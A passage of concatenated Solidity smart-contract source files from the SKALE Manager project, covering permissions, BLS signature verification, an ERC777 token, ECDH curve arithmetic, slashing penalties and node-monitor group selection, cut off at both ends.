INodesData(nodesDataAddress).getNumberOfNodes(); // nodesEnough = INodesData(nodesDataAddress).enoughNodesWithFreeSpace(partOfNode, needNodes); // // if (partOfNode == IConstants(constantsAddress).MEDIUM_DIVISOR()) { // // numberOfNodes = INodesData(nodesDataAddress).getNumberOfNodes(); // // nodesEnough = INodesData(nodesDataAddress).enoughNodesWithFreeSpace(partOfNode, needNodes); // // } else if (partOfNode == IConstants(constantsAddress).TINY_DIVISOR() || partOfNode == IConstants(constantsAddress).SMALL_DIVISOR()) { // // space = IConstants(constantsAddress).TINY_DIVISOR() / partOfNode; // // numberOfNodes = INodesData(nodesDataAddress).getNumberOfNodes(); // // nodesEnough = INodesData(nodesDataAddress).getNumberOfFreeodes(space, needNodes); // // } else if (partOfNode == IConstants(constantsAddress).MEDIUM_TEST_DIVISOR()) { // // space = IConstants(constantsAddress).TINY_DIVISOR() / partOfNode; // // numberOfNodes = INodesData(nodesDataAddress).getNumberOfNodes(); // // numberOfAvailableNodes = INodesData(nodesDataAddress).numberOfActiveNodes(); // // nodesEnough = numberOfAvailableNodes >= needNodes ? true : false; // // } else if (partOfNode == 0) { // // space = partOfNode; // // numberOfNodes = INodesData(nodesDataAddress).getNumberOfNodes(); // // numberOfAvailableNodes = INodesData(nodesDataAddress).numberOfActiveNodes(); // // nodesEnough = numberOfAvailableNodes >= needNodes ? true : false; // // } else { // // revert("Can't set number of nodes. Divisor does not match any valid schain type"); // // } // // Check that schain is not created yet // require(nodesEnough, "Not enough nodes to create Schain"); // } } /* Permissions.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./ContractManager.sol"; /** * @title Permissions - connected module for Upgradeable approach, knows ContractManager * @author Artem Payvin */ contract Permissions is Ownable { ContractManager contractManager; /** * @dev allow - throws if called by any account and contract other than the owner * or `contractName` contract * @param contractName - human readable name of contract */ modifier allow(string memory contractName) { require( contractManager.contracts(keccak256(abi.encodePacked(contractName))) == msg.sender || isOwner(), "Message sender is invalid"); _; } modifier allowTwo(string memory contractName1, string memory contractName2) { require( contractManager.contracts(keccak256(abi.encodePacked(contractName1))) == msg.sender || contractManager.contracts(keccak256(abi.encodePacked(contractName2))) == msg.sender || isOwner(), "Message sender is invalid"); _; } modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) { require( contractManager.contracts(keccak256(abi.encodePacked(contractName1))) == msg.sender || contractManager.contracts(keccak256(abi.encodePacked(contractName2))) == msg.sender || contractManager.contracts(keccak256(abi.encodePacked(contractName3))) == msg.sender || isOwner(), "Message sender is invalid"); _; } /** * @dev constructor - sets current address of ContractManager * @param newContractsAddress - current address of ContractManager */ constructor(address newContractsAddress) public { contractManager = ContractManager(newContractsAddress); } } /* SkaleVerifier.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; contract SkaleVerifier is Permissions { uint constant P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; uint constant G2A = 10857046999023057135944570762232829481370756359578518086990519993285655852781; uint constant G2B = 11559732032986387107991004021392285783925812861821192530917403151452391805634; uint constant G2C = 8495653923123431417604973247489272438418190587263600148770280649306958101930; uint constant G2D = 4082367875863433681332203403145435568316851327593401208105741076214120093531; uint constant TWISTBX = 19485874751759354771024239261021720505790618469301721065564631296452457478373; uint constant TWISTBY = 266929791119991161246907387137283842545076965332900288569378510910307636690; struct Fp2 { uint x; uint y; } constructor(address newContractsAddress) Permissions(newContractsAddress) public { } function verifySchainSignature( uint signA, uint signB, bytes32 hash, uint counter, uint hashA, uint hashB, string calldata schainName ) external view returns (bool) { if (!checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } address schainsDataAddress = contractManager.contracts(keccak256(abi.encodePacked("SchainsData"))); (uint pkA, uint pkB, uint pkC, uint pkD) = IGroupsData(schainsDataAddress).getGroupsPublicKey( keccak256(abi.encodePacked(schainName)) ); return verify( signA, signB, hash, counter, hashA, hashB, pkA, pkB, pkC, pkD ); } function verify( uint signA, uint signB, bytes32 hash, uint counter, uint hashA, uint hashB, uint pkA, uint pkB, uint pkC, uint pkD) public view returns (bool) { if (!checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } uint newSignB; if (!(signA == 0 && signB == 0)) { newSignB = P - (signB % P); } else { newSignB = signB; } require(isG1(signA, newSignB), "Sign not in G1"); require(isG1(hashA, hashB), "Hash not in G1"); require(isG2(Fp2({x: G2A, y: G2B}), Fp2({x: G2C, y: G2D})), "G2.one not in G2"); require(isG2(Fp2({x: pkA, y: pkB}), Fp2({x: pkC, y: pkD})), "Public Key not in G2"); bool success; uint[12] memory inputToPairing; inputToPairing[0] = signA; inputToPairing[1] = newSignB; inputToPairing[2] = G2B; inputToPairing[3] = G2A; inputToPairing[4] = G2D; inputToPairing[5] = G2C; inputToPairing[6] = hashA; inputToPairing[7] = hashB; inputToPairing[8] = pkB; inputToPairing[9] = pkA; inputToPairing[10] = pkD; inputToPairing[11] = pkC; uint[1] memory out; assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } function checkHashToGroupWithHelper( bytes32 hash, uint counter, uint hashA, uint hashB ) internal pure returns (bool) { uint xCoord = uint(hash) % P; xCoord = (xCoord + counter) % P; uint ySquared = addmod(mulmod(mulmod(xCoord, xCoord, P), xCoord, P), 3, P); if (hashB < P / 2 || mulmod(hashB, hashB, P) != ySquared || xCoord != hashA) { return false; } return true; } // Fp2 operations function addFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { return Fp2({ x: addmod(a.x, b.x, P), y: addmod(a.y, b.y, P) }); } function scalarMulFp2(uint scalar, Fp2 memory a) internal pure returns (Fp2 memory) { return Fp2({ x: mulmod(scalar, a.x, P), y: mulmod(scalar, a.y, P) }); } function minusFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { uint first; uint second; if (a.x >= b.x) { first = addmod(a.x, P - b.x, P); } else { first = P - addmod(b.x, P - a.x, P); } if (a.y >= b.y) { second = addmod(a.y, P - b.y, P); } else { second = P - addmod(b.y, P - a.y, P); } return Fp2({ x: first, y: second }); } function mulFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { uint aA = mulmod(a.x, b.x, P); uint bB = mulmod(a.y, b.y, P); return Fp2({ x: addmod(aA, mulmod(P - 1, bB, P), P), y: addmod(mulmod(addmod(a.x, a.y, P), addmod(b.x, b.y, P), P), P - addmod(aA, bB, P), P) }); } function squaredFp2(Fp2 memory a) internal pure returns (Fp2 memory) { uint ab = mulmod(a.x, a.y, P); uint mult = mulmod(addmod(a.x, a.y, P), addmod(a.x, mulmod(P - 1, a.y, P), P), P); return Fp2({ x: mult, y: addmod(ab, ab, P) }); } function inverseFp2(Fp2 memory a) internal view returns (Fp2 memory x) { uint t0 = mulmod(a.x, a.x, P); uint t1 = mulmod(a.y, a.y, P); uint t2 = mulmod(P - 1, t1, P); if (t0 >= t2) { t2 = addmod(t0, P - t2, P); } else { t2 = P - addmod(t2, P - t0, P); } uint t3 = bigModExp(t2, P - 2); x.x = mulmod(a.x, t3, P); x.y = P - mulmod(a.y, t3, P); } // End of Fp2 operations function isG1(uint x, uint y) internal pure returns (bool) { return mulmod(y, y, P) == addmod(mulmod(mulmod(x, x, P), x, P), 3, P); } function isG2(Fp2 memory x, Fp2 memory y) internal pure returns (bool) { if (isG2Zero(x, y)) { return true; } Fp2 memory squaredY = squaredFp2(y); Fp2 memory res = minusFp2(minusFp2(squaredY, mulFp2(squaredFp2(x), x)), Fp2({x: TWISTBX, y: TWISTBY})); return res.x == 0 && res.y == 0; } function isG2Zero(Fp2 memory x, Fp2 memory y) internal pure returns (bool) { return x.x == 0 && x.y == 0 && y.x == 1 && y.y == 0; } function bigModExp(uint base, uint power) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = P; uint[1] memory out; bool success; assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } } pragma solidity ^0.5.3; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } constructor() public { owner = msg.sender; } function setCompleted(uint completed) external restricted { last_completed_migration = completed; } function upgrade(address new_address) external restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }/* SkaleToken.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./ERC777/LockableERC777.sol"; import "./Permissions.sol"; import "./interfaces/delegation/IDelegatableToken.sol"; import "./delegation/DelegationService.sol"; /** * @title SkaleToken is ERC777 Token implementation, also this contract in skale * manager system */ contract SkaleToken is LockableERC777, Permissions, IDelegatableToken { string public constant NAME = "SKALE"; string public constant SYMBOL = "SKL"; uint public constant DECIMALS = 18; uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created constructor(address contractsAddress, address[] memory defOps) Permissions(contractsAddress) LockableERC777("SKALE", "SKL", defOps) public { // TODO remove after testing uint money = 1e7 * 10 ** DECIMALS; _mint( address(0), address(msg.sender), money, bytes(""), bytes("") ); } /** * @dev mint - create some amount of token and transfer it to specify address * @param operator address operator requesting the transfer * @param account - address where some amount of token would be created * @param amount - amount of tokens to mine * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @return returns success of function call. */ function mint( address operator, address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external allow("SkaleManager") //onlyAuthorized returns (bool) { require(amount <= CAP - totalSupply(), "Amount is too big"); _mint( operator, account, amount, userData, operatorData ); return true; } function getDelegatedOf(address wallet) external returns (uint) { return DelegationService(contractManager.getContract("DelegationService")).getDelegatedOf(wallet); } function getSlashedOf(address wallet) external returns (uint) { return DelegationService(contractManager.getContract("DelegationService")).getSlashedOf(wallet); } function getLockedOf(address wallet) public returns (uint) { return DelegationService(contractManager.getContract("DelegationService")).getLockedOf(wallet); } // private function _getLockedOf(address wallet) internal returns (uint) { return getLockedOf(wallet); } } /* ECDH.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; contract ECDH { uint256 constant GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant A = 0; // uint256 constant B = 7; constructor () public { } function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, GX, GY, 1 ); z = inverse(z); qx = mulmod(x, z, N); qy = mulmod(y, z, N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, N); qy = mulmod(y, z, N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, N), mulmod(x2, z1, N), N), mulmod(z1, z2, N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, N), mulmod(N - x2, z1, N), N), mulmod(z1, z2, N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, N), mulmod(z1, z2, N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, N), mulmod(z1, x2, N)); } function inverse(uint256 a) public pure returns (uint256 invA) { uint256 t = 0; uint256 newT = 1; uint256 r = N; uint256 newR = a; uint256 q; while (newR != 0) { q = r / newR; (t, newT) = (newT, addmod(t, (N - mulmod(q, newT, N)), N)); (r, newR) = (newR, r - q * newR); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul( x1, z1, x1, z1 ); (ln, lz) = jMul( ln, lz, 3, 1 ); (ln, lz) = jAdd( ln, lz, A, 1 ); (da, db) = jMul( y1, z1, 2, 1 ); } else { (ln, lz) = jSub( y2, z2, y1, z1 ); (da, db) = jSub( x2, z2, x1, z1 ); } (ln, lz) = jDiv( ln, lz, da, db ); (x3, da) = jMul( ln, lz, ln, lz ); (x3, da) = jSub( x3, da, x1, z1 ); (x3, da) = jSub( x3, da, x2, z2 ); (y3, db) = jSub( x1, z1, x3, da ); (y3, db) = jMul( y3, db, ln, lz ); (y3, db) = jSub( y3, db, y1, z1 ); if (da != db) { x3 = mulmod(x3, db, N); y3 = mulmod(y3, da, N); z3 = mulmod(da, db, N); } else { z3 = da; } } function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining / 2; (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } } pragma solidity ^0.5.3; import "./Permissions.sol"; contract SlashingTable is Permissions { mapping (uint => uint) private _penalties; constructor (address _contractManager) public Permissions(_contractManager) {} function setPenalty(string calldata offense, uint penalty) external onlyOwner { _penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty; } function getPenalty(string calldata offense) external view returns (uint) { uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))]; return penalty; } }/* MonitorsFunctionality.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./GroupsFunctionality.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/INodesData.sol"; import "./MonitorsData.sol"; contract MonitorsFunctionality is GroupsFunctionality { event MonitorCreated( uint nodeIndex, bytes32 groupIndex, uint numberOfMonitors, uint32 time, uint gasSpend ); event MonitorUpgraded( uint nodeIndex, bytes32 groupIndex, uint numberOfMonitors, uint32 time, uint gasSpend ); event MonitorsArray( uint nodeIndex, bytes32 groupIndex, uint[] nodesInGroup, uint32 time, uint gasSpend ); event VerdictWasSent( uint indexed fromMonitorIndex, uint indexed toNodeIndex, uint32 downtime, uint32 latency, bool status, uint32 time, uint gasSpend ); event MetricsWereCalculated( uint forNodeIndex, uint32 averageDowntime, uint32 averageLatency, uint32 time, uint gasSpend ); event PeriodsWereSet( uint rewardPeriod, uint deltaPeriod, uint32 time, uint gasSpend ); event MonitorRotated( bytes32 groupIndex, uint newNode ); constructor( string memory newExecutorName, string memory newDataName, address newContractsAddress ) GroupsFunctionality( newExecutorName, newDataName, newContractsAddress ) public { } /** * addMonitor - setup monitors of node */ function addMonitor(uint nodeIndex) external allow(executorName) { address constantsAddress = contractManager.getContract("Constants"); IConstants constantsHolder = IConstants(constantsAddress); bytes32 groupIndex = keccak256(abi.encodePacked(nodeIndex)); uint possibleNumberOfNodes = constantsHolder.NUMBER_OF_MONITORS(); addGroup(groupIndex, possibleNumberOfNodes, bytes32(nodeIndex)); uint numberOfNodesInGroup = setMonitors(groupIndex, nodeIndex); emit MonitorCreated( nodeIndex, groupIndex, numberOfNodesInGroup, uint32(block.timestamp), gasleft() ); } function upgradeMonitor(uint nodeIndex) external allow(executorName) { address constantsAddress = contractManager.getContract("Constants"); IConstants constantsHolder = IConstants(constantsAddress); bytes32 groupIndex = keccak256(abi.encodePacked(nodeIndex)); uint possibleNumberOfNodes = constantsHolder.NUMBER_OF_MONITORS(); upgradeGroup(groupIndex, possibleNumberOfNodes, bytes32(nodeIndex)); uint numberOfNodesInGroup = setMonitors(groupIndex, nodeIndex); emit MonitorUpgraded( nodeIndex, groupIndex, numberOfNodesInGroup, uint32(block.timestamp), gasleft() ); } function deleteMonitorByRoot(uint nodeIndex) external allow(executorName) { bytes32 groupIndex = keccak256(abi.encodePacked(nodeIndex)); MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); data.removeAllVerdicts(groupIndex); data.removeAllCheckedNodes(groupIndex); deleteGroup(groupIndex); } function sendVerdict( uint fromMonitorIndex, uint toNodeIndex, uint32 downtime, uint32 latency) external allow(executorName) { uint index; uint32 time; bytes32 monitorIndex = keccak256(abi.encodePacked(fromMonitorIndex)); (index, time) = find(monitorIndex, toNodeIndex); require(time > 0, "Checked Node does not exist in MonitorsArray"); require(time <= block.timestamp, "The time has not come to send verdict"); MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); data.removeCheckedNode(monitorIndex, index); address constantsAddress = contractManager.getContract("Constants"); bool receiveVerdict = time + IConstants(constantsAddress).deltaPeriod() > uint32(block.timestamp); if (receiveVerdict) { data.addVerdict(keccak256(abi.encodePacked(toNodeIndex)), downtime, latency); } emit VerdictWasSent( fromMonitorIndex, toNodeIndex, downtime, latency, receiveVerdict, uint32(block.timestamp), gasleft()); } function calculateMetrics(uint nodeIndex) external allow(executorName) returns (uint32 averageDowntime, uint32 averageLatency) { MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); bytes32 monitorIndex = keccak256(abi.encodePacked(nodeIndex)); uint lengthOfArray = data.getLengthOfMetrics(monitorIndex); uint32[] memory downtimeArray = new uint32[](lengthOfArray); uint32[] memory latencyArray = new uint32[](lengthOfArray); for (uint i = 0; i < lengthOfArray; i++) { downtimeArray[i] = data.verdicts(monitorIndex, i, 0); latencyArray[i] = data.verdicts(monitorIndex, i, 1); } if (lengthOfArray > 0) { averageDowntime = median(downtimeArray); averageLatency = median(latencyArray); data.removeAllVerdicts(monitorIndex); } } function rotateNode(bytes32 schainId) external allow("SkaleManager") { uint newNodeIndexEvent; newNodeIndexEvent = selectNodeToGroup(schainId); emit MonitorRotated(schainId, newNodeIndexEvent); } function selectNodeToGroup(bytes32 groupIndex) internal returns (uint) { address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); require(IGroupsData(dataAddress).isGroupActive(groupIndex), "Group is not active"); bytes32 groupData = IGroupsData(dataAddress).getGroupData(groupIndex); uint hash = uint(keccak256(abi.encodePacked(uint(blockhash(block.number - 1)), groupIndex))); uint numberOfNodes; (numberOfNodes, ) = setNumberOfNodesInGroup(groupIndex, groupData); uint indexOfNode; uint iterations = 0; while (iterations < 200) { indexOfNode = hash % numberOfNodes; if (comparator(groupIndex, indexOfNode)) { IGroupsData(dataAddress).setException(groupIndex, indexOfNode); IGroupsData(dataAddress).setNodeInGroup(groupIndex, indexOfNode); return indexOfNode; } hash = uint(keccak256(abi.encodePacked(hash, indexOfNode))); iterations++; } require(iterations < 200, "Old Monitor is not replaced? Try it later"); } function generateGroup(bytes32 groupIndex) internal allow(executorName) returns (uint[] memory) { address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); address nodesDataAddress = contractManager.getContract("NodesData"); require(IGroupsData(dataAddress).isGroupActive(groupIndex), "Group is not active"); uint exceptionNode = uint(IGroupsData(dataAddress).getGroupData(groupIndex)); uint[] memory activeNodes = INodesData(nodesDataAddress).getActiveNodeIds(); uint numberOfNodesInGroup = IGroupsData(dataAddress).getRecommendedNumberOfNodes(groupIndex); uint availableAmount = activeNodes.length - (INodesData(nodesDataAddress).isNodeActive(exceptionNode) ? 1 : 0); if (numberOfNodesInGroup > availableAmount) { numberOfNodesInGroup = availableAmount; } uint[] memory nodesInGroup = new uint[](numberOfNodesInGroup); uint ignoringTail = 0; uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number - 1)), groupIndex))); for (uint i = 0; i < nodesInGroup.length; ++i) { uint index = random % (activeNodes.length - ignoringTail); if (activeNodes[index] == exceptionNode) { swap(activeNodes, index, activeNodes.length - ignoringTail - 1); ++ignoringTail; index = random % (activeNodes.length - ignoringTail); } nodesInGroup[i] = activeNodes[index]; swap(activeNodes, index, activeNodes.length - ignoringTail - 1); ++ignoringTail; IGroupsData(dataAddress).setNodeInGroup(groupIndex, nodesInGroup[i]); } emit GroupGenerated( groupIndex, nodesInGroup, uint32(block.timestamp), gasleft()); return nodesInGroup; } function median(uint32[] memory values) internal pure returns (uint32) { if (values.length < 1) { revert("Can't calculate median of empty array"); } quickSort(values, 0, values.length - 1); return values[values.length / 2]; } function setNumberOfNodesInGroup(bytes32 groupIndex, bytes32 groupData) internal view returns (uint numberOfNodes, uint finish) { address nodesDataAddress = contractManager.getContract("NodesData"); address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); numberOfNodes = INodesData(nodesDataAddress).getNumberOfNodes(); uint numberOfActiveNodes = INodesData(nodesDataAddress).numberOfActiveNodes(); uint numberOfExceptionNodes = (INodesData(nodesDataAddress).isNodeActive(uint(groupData)) ? 1 : 0); uint recommendedNumberOfNodes = IGroupsData(dataAddress).getRecommendedNumberOfNodes(groupIndex); finish = (recommendedNumberOfNodes > numberOfActiveNodes - numberOfExceptionNodes ? numberOfActiveNodes - numberOfExceptionNodes : recommendedNumberOfNodes); } function comparator(bytes32 groupIndex, uint indexOfNode) internal view returns (bool) { address nodesDataAddress = contractManager.getContract("NodesData"); address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); return INodesData(nodesDataAddress).isNodeActive(indexOfNode) && !IGroupsData(dataAddress).isExceptionNode(groupIndex, indexOfNode); } function setMonitors(bytes32 groupIndex, uint nodeIndex) internal returns (uint) { MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); data.setException(groupIndex, nodeIndex); uint[] memory indexOfNodesInGroup = generateGroup(groupIndex); bytes32 bytesParametersOfNodeIndex = getDataToBytes(nodeIndex); for (uint i = 0; i < indexOfNodesInGroup.length; i++) { bytes32 index = keccak256(abi.encodePacked(indexOfNodesInGroup[i])); data.addCheckedNode(index, bytesParametersOfNodeIndex); } emit MonitorsArray( nodeIndex, groupIndex, indexOfNodesInGroup, uint32(block.timestamp), gasleft()); return indexOfNodesInGroup.length; } function find(bytes32 monitorIndex, uint nodeIndex) internal view returns (uint index, uint32 time) { MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); bytes32[] memory checkedNodes = data.getCheckedArray(monitorIndex); uint possibleIndex; uint32 possibleTime; for (uint i = 0; i < checkedNodes.length; i++) { (possibleIndex, possibleTime) = getDataFromBytes(checkedNodes[i]); if (possibleIndex == nodeIndex && (time == 0 || possibleTime < time)) { index = i; time = possibleTime; } } } function quickSort(uint32[] memory array, uint left, uint right) internal pure { uint leftIndex = left; uint rightIndex = right; uint32 middle = array[(right + left) / 2]; while (leftIndex <= rightIndex) { while (array[leftIndex] < middle) { leftIndex++; } while (middle < array[rightIndex]) { rightIndex--; } if (leftIndex <= rightIndex) { (array[leftIndex], array[rightIndex]) = (array[rightIndex], array[leftIndex]); leftIndex++; rightIndex = (rightIndex > 0 ? rightIndex - 1 : 0); } } if (left < rightIndex) quickSort(array, left, rightIndex); if (leftIndex < right) quickSort(array, leftIndex, right); } function getDataFromBytes(bytes32 data) internal pure returns (uint index, uint32 time) { bytes memory tempBytes = new bytes(32); bytes14 bytesIndex; bytes14 bytesTime; assembly { mstore(add(tempBytes, 32), data) bytesIndex := mload(add(tempBytes, 32)) bytesTime := mload(add(tempBytes, 46)) } index = uint112(bytesIndex); time = uint32(uint112(bytesTime)); } function getDataToBytes(uint nodeIndex) internal view returns (bytes32 bytesParameters) { address constantsAddress = contractManager.getContract("Constants"); address nodesDataAddress = contractManager.getContract("NodesData"); bytes memory tempData = new bytes(32); bytes14 bytesOfIndex = bytes14(uint112(nodeIndex)); bytes14 bytesOfTime = bytes14( uint112(INodesData(nodesDataAddress).getNodeNextRewardDate(nodeIndex) - IConstants(constantsAddress).deltaPeriod()) ); bytes4 ip = INodesData(nodesDataAddress).getNodeIP(nodeIndex); assembly { mstore(add(tempData, 32), bytesOfIndex) mstore(add(tempData, 46), bytesOfTime) mstore(add(tempData, 60), ip) bytesParameters := mload(add(tempData, 32)) } } } /* Decryption.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.0; contract Decryption { function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) { bytes32 numberBytes = bytes32(secretNumber); bytes memory tmp = new bytes(32); for (uint8 i = 0; i < 32; i++) { tmp[i] = numberBytes[i] ^ key[i]; } assembly { ciphertext := mload(add(tmp, 32)) } } function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) { bytes memory tmp = new bytes(32); for (uint8 i = 0; i < 32; i++) { tmp[i] = ciphertext[i] ^ key[i]; } bytes32 numberBytes; assembly { numberBytes := mload(add(tmp, 32)) } secretNumber = uint256(numberBytes); } } /* GroupsFunctionality.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; /** * @title SkaleVerifier - interface of SkaleVerifier */ interface ISkaleVerifier { function verify( uint sigx, uint sigy, uint hashx, uint hashy, uint pkx1, uint pky1, uint pkx2, uint pky2) external view returns (bool); } /** * @title GroupsFunctionality - contract with some Groups functionality, will be inherited by * MonitorsFunctionality and SchainsFunctionality */ contract GroupsFunctionality is Permissions { // informs that Group is added event GroupAdded( bytes32 groupIndex, bytes32 groupData, uint32 time, uint gasSpend ); // informs that an exception set in Group event ExceptionSet( bytes32 groupIndex, uint exceptionNodeIndex, uint32 time, uint gasSpend ); // informs that Group is deleted event 